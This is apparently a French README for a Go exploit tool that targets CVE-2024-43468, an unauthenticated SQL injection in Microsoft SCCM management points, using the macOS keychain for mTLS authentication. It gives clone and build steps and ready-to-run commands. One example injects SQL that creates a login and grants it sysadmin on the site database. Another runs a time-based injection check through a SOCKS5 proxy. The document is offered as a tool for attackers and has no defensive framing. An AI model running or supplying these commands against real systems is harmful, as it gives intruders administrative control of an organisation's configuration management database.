
CVE-2024-43468 Exploit d'injection SQL SCCM (version mTLS certificat client non extractible depuis le Keychain macOS)
Implémentation en Go de l'exploit CVE-2024-43468 qui utilise le trousseau macOS pour l'authentification mTLS (sans avoir besoin d'exporter les clés du trousseau).
De plus :
Basé sur :
Exploite des injections SQL non authentifiées dans Microsoft Configuration Manager (ConfigMgr / SCCM) qui permettent à un attaquant ayant un accès réseau à un point de gestion d'exécuter des requêtes SQL arbitraires sur la base de données du site.
Versions vulnérables :
# Clone repository
git clone https://github.com/nikallass/CVE-2024-43468_mTLS_go
cd CVE-2024-43468_mTLS_go
# Install dependencies
go get github.com/google/uuid
go get golang.org/x/net/proxy
# Build
go build -o sccm
# Show help
./sccm -h
# Basic usage (creating new admin)
./sccm -t https://sccm-mp.local \
-sql "create login user123 with password = 'Password123'; exec master.dbo.sp_addsrvrolemember 'user123', 'sysadmin'" \
-cn "CertificateCommonName"
# With custom proxy (check with sleep 5)
./sccm -t https://sccm-mp.local \
-sql "WAITFOR DELAY '0:0:5'" \
-cn "CertificateCommonName" \
-proxy "127.0.0.1:9050"
-t : URL cible (obligatoire)-sql : Requête SQL à exécuter (obligatoire)-cn : Common Name du certificat dans le trousseau macOS (obligatoire)-proxy : Adresse du proxy SOCKS5 (par défaut : vide)